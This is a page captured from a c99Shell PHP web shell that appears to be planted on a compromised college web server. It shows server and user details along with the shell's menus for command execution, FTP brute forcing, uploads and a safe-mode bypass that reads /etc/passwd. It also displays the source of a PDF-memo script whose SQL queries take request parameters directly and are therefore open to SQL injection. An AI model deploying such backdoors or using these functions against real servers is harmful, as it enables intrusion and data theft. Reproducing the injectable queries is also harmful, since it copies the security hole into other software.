110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/teacher/ drwxr-xr-x Free 52.66 GB of 127.8 GB (41.2%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686

uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/ drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: prePrintMemoPersonPDF.php (8.82 KB) -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

execQuery($query);
$rs = $dbObj->fetchArray($result);
			
$query2 = " SELECT *  FROM formaoffice  WHERE codeId = '".$_REQUEST['codeId']."' ";
$result2 = $dbObj->execQuery($query2);
$rs2 = $dbObj->fetchArray($result2); 

$query3 = "Select * From  college Where collegeStatus ='1'";
$result3 = $dbObj->execQuery($query3);
$rs3 = $dbObj->fetchArray($result3);

$query4 = "SELECT *  FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId LEFT JOIN faculty_tb ON personal_tb.Faculty_code = faculty_tb.Faculty_code Where personal_tb.Faculty_code = '".$rs['Faculty_code']."' and personal_tb.TeacherId = '1' ";
$result4 = $dbObj->execQuery($query4);
$rs4 = $dbObj->fetchArray($result4);	

$query5 = " SELECT *  FROM training_tb  WHERE training_tb.Training_code = '".$_REQUEST['Training_code']."' ";
$result5 = $dbObj->execQuery($query5);
$rs5 = $dbObj->fetchArray($result5);	

$query6 = " SELECT *  FROM formaoffice  WHERE maNo = '".$rs2['maNo']."' and codeId != '".$_REQUEST['codeId']."' ";
$result6 = $dbObj->execQuery($query6); 
$num_rows = mysql_num_rows($result6);

function getMonthTh($mm) {
	if($mm=='01') { $mm='БЎГТ¤Б'; }
	else if($mm=='02') { $mm='ЎШБАТѕС№ём'; }
	else if($mm=='03') { $mm='БХ№Т¤Б'; }
	else if($mm=='04') { $mm='аБЙТВ№'; }
	else if($mm=='05') { $mm='ѕДЙАТ¤Б';}
	else if($mm=='06') { $mm='БФ¶Ш№ТВ№'; }
	else if($mm=='07') { $mm='ЎГЎ®Т¤Б'; }
	else if($mm=='08') { $mm='КФ§ЛТ¤Б'; }
	else if($mm=='09') { $mm='ЎС№ВТВ№'; }
	else if($mm=='10') { $mm='µШЕТ¤Б';}
	else if($mm=='11') { $mm='ѕДИЁФЎТВ№';}
	else if($mm=='12') { $mm='ёС№ЗТ¤Б'; }

	return "$mm";
}

//Create new pdf file
$pdf = new FPDF();

//Set thai font
$pdf->SetThaiFont();

$pdf->AddPage();

//-- Load Form Image to Background
$pdf->Image('../form/memo_new.jpg', 0, 0, 203, 297);

//-- Set Font
$pdf->SetFont('AngsanaNew','',15);

//-- College name and Date , Top-Right Position
$date = explode("-",$rs2[Date]);
$day = intval($date[2]);
$month = getMonthTh(intval($date[1]));
$year = intval($date[0]);

$pdf->Text(39,26.9,$rs3['collegeName']);

if(!empty($day)){
	$pdf->SetXY(138.5,29.2);
	$pdf->Cell(9,5,$day,0,0,'C');
	$pdf->SetXY(153,29.2);
	$pdf->Cell(23.5,5,$month,0,0,'C');
	$pdf->SetXY(186.4,29.2);
	$pdf->Cell(12,5,$year,0,0,'C');
}
else{
	$pdf->SetXY(138.5,29.2);
	$pdf->Cell(9,5,'-',0,0,'C');
	$pdf->SetXY(153,29.2);
	$pdf->Cell(23.5,5,'-',0,0,'C');
	$pdf->SetXY(186.4,29.2);
	$pdf->Cell(12,5,'-',0,0,'C');
}

//-- Set Font
$pdf->SetFont('AngsanaNew','',13);

//--  Request header
if(!empty($rs2['maNo'])){
	$pdf->SetXY(28,29.2);
	$pdf->Cell(32,5,$rs2['maNo'],0,0,'C');
}
else{
	$pdf->SetXY(28,29.5);
	$pdf->Cell(32,5,'-',0,0,'C');
}

$pdf->Text(32,48.2,'јЩйНУ№ЗВЎТГ '.$rs3['collegeName']);

//-- Body
$pdf->SetXY(46,50.5);
$pdf->Cell(86,5,$rs['prefixName'].'  '.$rs['Teacher_name'].'  '.$rs['Teacher_lastname'],0,0,'C');
$pdf->SetXY(143,50.5);
$pdf->Cell(50,5,$rs['Position_name'],0,0,'C');
$pdf->SetXY(32,57.5);
$pdf->Cell(160,5,$rs['Faculty_name'].'     '.$rs3['collegeName'].'     К¶ТєС№ѕГРєГБГТЄЄ№Ў',0,0,'C');

$pdf->SetFont('AngsanaNew','B',27);

switch($rs2['Travel']){
	case "1" : $pdf->Text(74.2,70.1,'/'); break;			

}
switch($rs2['Travel1']){
		
	case "2" : $pdf->Text(125.5,70.1,'/'); break;
	
}
switch($rs2['Travel2']){
	
	case "3" : $pdf->Text(165.5,70.1,'/'); break;
	
}
switch($rs2['Travel3']){
	
	case "4" : $pdf->Text(74.2,75.7,'/'); break;
	
}
switch($rs2['Travel4']){
	
	case "5" : $pdf->Text(125.5,75.7,'/'); break;
	
}
switch($rs2['Travel5']){
	
	case "6" : $pdf->Text(165.5,75.7,'/'); break;
	
}

$pdf->SetFont('AngsanaNew','',13);

if(!empty($rs2['No_in'])){
	$pdf->SetXY(50.3,78.3);
	$pdf->Cell(93,5,$rs2['No_in'],0,0,'C');
}
else{
	$pdf->SetXY(50.3,78.3);
	$pdf->Cell(93,5,'-',0,0,'C');
}


$pdf->SetXY(24,84.8);
$pdf->Cell(168,5,$rs2['Training_name'],0,0,'C');
$pdf->Text(30,95.5,$rs5['CNEU']);

$pdf->Text(28,109.5,$rs['prefixName'].'  '.$rs['Teacher_name'].'  '.$rs['Teacher_lastname']);
if($num_rows){
	$i = 2;
	while($data = $dbObj->fetchObject($result6)){
		$query7 = " SELECT *  FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId WHERE Teacher_code='".$data->Teacher_code."' ";
		$result7 = $dbObj->execQuery($query7);
		$rs7 = $dbObj->fetchArray($result7);
		
		switch($i){							
			case "2" : $pdf->Text(28,116.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "3" : $pdf->Text(28,123.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "4" : $pdf->Text(28,130,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "5" : $pdf->Text(28,137.4,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "6" : $pdf->Text(28,144.2,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "7" : $pdf->Text(28,151,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "8" : $pdf->Text(28,157.7,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "9" : $pdf->Text(28,164.2,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "10" : $pdf->Text(114,109.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "11" : $pdf->Text(114,116.4,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "12" : $pdf->Text(114,123.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "13" : $pdf->Text(114,130.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "14" : $pdf->Text(114,137.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "15" : $pdf->Text(114,144.3,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "16" : $pdf->Text(114,151,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "17" : $pdf->Text(114,157.7,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "18" : $pdf->Text(114,164.2,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
		}		
		$i++;
	}
}		

$date_start = explode("-",$rs2['Date_start']);
$day_start = intval($date_start[2]);
$month_start = getMonthTh(intval($date_start[1]));
$year_start = intval($date_start[0]);

$date_finish = explode("-",$rs2['Date_finish']);
$day_finish = intval($date_finish[2]);
$month_finish = getMonthTh(intval($date_finish[1]));
$year_finish = intval($date_finish[0]);

$pdf->SetXY(53.5,167);
$pdf->Cell(30,5,$day_start.'   '.$month_start.'   '.$year_start,0,0,'C');
$pdf->SetXY(104,167);
$pdf->Cell(30,5,$day_finish.'   '.$month_finish.'   '.$year_finish,0,0,'C');
$pdf->SetXY(140,167);
$pdf->Cell(8,5,$rs2['Day'],0,0,'C');

if(!empty($rs2['assignMent'])){
	$pdf->SetXY(123,173.5);
	$pdf->Cell(68,5,$rs2['assignMent'],0,0,'C');
}
else{
	$pdf->SetXY(123,173.5);
	$pdf->Cell(68,5,'-',0,0,'C');
}

if(!empty($rs2['assignmentName'])){
	$pdf->SetXY(28,180.8);
	$pdf->Cell(41,5,$rs2['assignmentName'],0,0,'C');
}
else{
	$pdf->SetXY(28,180.8);
	$pdf->Cell(41,5,'-',0,0,'C');
}


//-- signature

/*$pdf->SetXY(34,211.8);
$pdf->Cell(41.5,5,$rs['First_name'].'  '.$rs['Teacher_name'].'  '.$rs['Teacher_lastname'],0,0,'C');
$pdf->SetXY(32,218.5);
$pdf->Cell(44,5,$rs['Position_name'],0,0,'C');*/
$pdf->SetXY(32,219.8);
$pdf->Cell(43.8,5,$rs['prefixName'].'  '.$rs['Teacher_name'].'  '.$rs['Teacher_lastname'],0,0,'C');

/*$pdf->SetXY(117,211.8);
$pdf->Cell(49.5,5,$rs4['First_name'].'  '.$rs4['Teacher_name'].'  '.$rs4['Teacher_lastname'],0,0,'C');
$pdf->SetXY(117,218.5);
$pdf->Cell(48,5,$rs4['Position_name'],0,0,'C');*/
$pdf->SetXY(117,219.8);
$pdf->Cell(47.8,5,$rs4['prefixName'].'  '.$rs4['Teacher_name'].'  '.$rs4['Teacher_lastname'],0,0,'C');

//Create file
$pdf->Output();
?>
bool(false)

:: Command execute ::
Enter:	Select:

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

:: Go Dir ::

:: Go File ::

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--